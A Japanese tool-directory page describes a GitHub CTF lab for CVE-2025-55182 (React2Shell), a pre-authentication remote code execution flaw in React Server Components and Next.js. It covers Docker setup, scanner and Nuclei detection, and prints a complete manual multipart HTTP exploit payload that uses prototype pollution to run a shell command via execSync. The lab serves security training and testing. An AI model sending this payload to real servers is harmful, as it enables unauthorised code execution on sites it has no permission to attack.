Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/goultarde/cve-2025-55182-react2shell-lab
脆弱性分析エクスプロイトウェブアプリケーション悪用CTF学習と教育ラボと実践
GitHubgoultarde/cve-2025-55182-react2shell-lab

CVE-2025-55182-React2Shell-Lab

CVE-2025-55182(React Server ComponentsのRCE)を悪用するCTFラボ環境。脆弱なNext.jsブログ、検出スクリプト、手動エクスプロイトペイロードを備えた実践的なセキュリティトレーニング用。

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る
7ヶ月前未レビュー

CyberSec Blog CTF - React2Shell PoC

このリポジトリは、Next.jsとReact Server Componentsを使用したサイバーセキュリティブログをベースにした、脆弱なCTF(Capture The Flag)環境を提供します。

CVE-2025-55182 : React Server Components バージョン19.0.0、19.1.0、19.1.1、19.2.0における事前認証リモートコード実行(RCE)の脆弱性。脆弱なコードは、Server FunctionエンドポイントへのHTTPリクエストペイロードを安全でない方法でデシリアライズします。

CVE-2025-66478 : App Routerを使用するNext.jsアプリケーションへの影響。


CTFの説明

このチャレンジは、以下の機能を持つサイバーセキュリティブログを提示します。

  • Web、React、CTF、Next.js、デシリアライゼーションなどのセキュリティトピックに関する5つの記事
  • 3人の架空の著者
  • モダンなダークモードインターフェース

このブログはReactとNext.jsの脆弱なバージョンを使用しており、React2Shell脆弱性の悪用を可能にします。

使用されている脆弱なバージョン

PackageVersion
next16.0.6
react19.2.0
react-dom19.2.0

CTFの起動方法

Dockerを使用する場合(推奨)

root@kitploit:~
# Construire l'image
docker build -t react2shell-poc .

# Lancer le conteneur
docker run --rm -p 127.0.0.1:3000:3000 react2shell-poc

Dockerを使用しない場合

root@kitploit:~
npm install
npm run build
npm run start

その後、http://127.0.0.1:3000 にアクセスしてください。

脆弱性の検出方法

AssetNoteスキャナーを使用する場合

root@kitploit:~
git clone https://github.com/assetnote/react2shell-scanner && cd react2shell-scanner
virtualenv venv && source venv/bin/activate && pip install -r requirements.txt

python3 scanner.py -u http://127.0.0.1:3000

Nucleiを使用する場合

root@kitploit:~
nuclei -t ./nuclei-template/CVE-2025-55182.yaml -u http://127.0.0.1:3000

悪用方法

React2Shellツールを使用する場合

Pythonエクスプロイトについては、React2Shell/ディレクトリを参照してください。

手動HTTPペイロード

root@kitploit:~
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

レスポンスには、x-action-redirectヘッダー内にidコマンドの結果が含まれます。

参考資料

  • Security Advisory: React Server ComponentsおよびNext.jsにおける重大なRCE脆弱性
  • CVE-2025-55182 - NVD
  • CVE-2025-66478 - Next.js Security Advisory
  • React2Shell Scanner - AssetNote

simple-nextjs-blogテンプレートとCVE-2025-55182脆弱性環境に基づいたカスタムCTFチャレンジ。

ツールをダウンロード